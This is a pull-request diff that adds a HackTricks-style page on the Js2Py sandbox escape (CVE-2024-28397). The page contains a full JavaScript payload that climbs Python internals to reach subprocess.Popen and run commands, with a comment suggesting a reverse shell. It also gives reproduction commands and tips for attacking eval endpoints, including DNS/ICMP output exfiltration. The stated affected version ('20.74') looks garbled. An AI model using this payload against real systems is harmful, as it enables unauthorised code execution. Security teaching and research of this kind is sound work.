Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,7 @@
- [Interesting Windows Registry Keys](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [Js2py Sandbox Escape Cve 2024 28397](generic-methodologies-and-resources/python/bypass-python-sandboxes/js2py-sandbox-escape-cve-2024-28397.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,10 @@

These are some tricks to bypass python sandbox protections and execute arbitrary commands.

{{#ref}}
js2py-sandbox-escape-cve-2024-28397.md
{{#endref}}


## Command Execution Libraries

Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
# Js2Py sandbox escape (CVE-2024-28397)

{{#include ../../../banners/hacktricks-training.md}}

Js2Py translates JavaScript into Python objects, so even when `js2py.disable_pyimport()` is used, untrusted JS can traverse Python internals to reach dangerous classes such as `subprocess.Popen`. Versions 20.74 allow abusing Python reflection primitives that Js2Py exposes to JS objects to obtain RCE from otherwise "sandboxed" JavaScript.

## Primitive: pivot from JS object wrappers to Python objects

1. **Get a Python-backed object**: `Object.getOwnPropertyNames({})` returns a `dict_keys` object in Python space.
2. **Recover attribute access**: grab `.__getattribute__` from that object and call it to read arbitrary attributes (e.g., `"__class__"`).
3. **Climb to `object`**: from `<class 'dict_keys'>` read `.__base__` to reach Python's base `object`.
4. **Enumerate loaded classes**: call `object.__subclasses__()` to walk every class already loaded in the interpreter.
5. **Find `subprocess.Popen`**: recursively search subclasses where `__module__ == "subprocess"` and `__name__ == "Popen"`.
6. **Execute a command**: instantiate Popen with attacker-controlled arguments and invoke `.communicate()` to capture output.

<details>
<summary>Example payload abusing Js2Py to reach subprocess.Popen</summary>

```javascript
// Replace cmd with desired payload (reverse shell / ping / etc.)
let cmd = "id";
let hacked, bymarve, n11;
let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([])
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__"); // attribute access primitive
obj = n11("__class__").__base__; // pivot to <class 'object'>
getattr = obj.__getattribute__;

function findpopen(o) {
let result;
for (let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if (item.__name__ != "type" && (result = findpopen(item))) {
return result;
}
}
}

// Popen(cmd, stdin/out/err pipes...) then .communicate() for output
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(n11);
n11; // returned to caller if framework sends eval_js result back
```

</details>

Why this works: Js2Py exposes Python object wrappers to JS without stripping `__getattribute__`, `__class__`, `__base__`, or `__subclasses__`. `disable_pyimport()` only blocks explicit `pyimport`, but the above chain never imports anything new; it reuses already-loaded modules and classes in memory.

## Reproducing the chain locally

```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
```

## Operating against web sandboxes

- Any endpoint that feeds attacker-controlled JS into `js2py.eval_js` (for example, a Flask `/run_code` API) is immediately RCE if the process user has shell access.
- Returning `jsonify({'result': result})` will fail when `.communicate()` returns bytes; decode or direct output to DNS/ICMP to avoid serialization blockers.
- `disable_pyimport()` **does not** mitigate this chain; hard isolation (separate process/container) or removing Js2Py execution of untrusted code is required.

## References

- [HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)](https://0xdf.gitlab.io/2026/01/31/htb-codetwo.html)
- [Marven11 CVE-2024-28397 Js2Py sandbox escape PoC](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py)

{{#include ../../../banners/hacktricks-training.md}}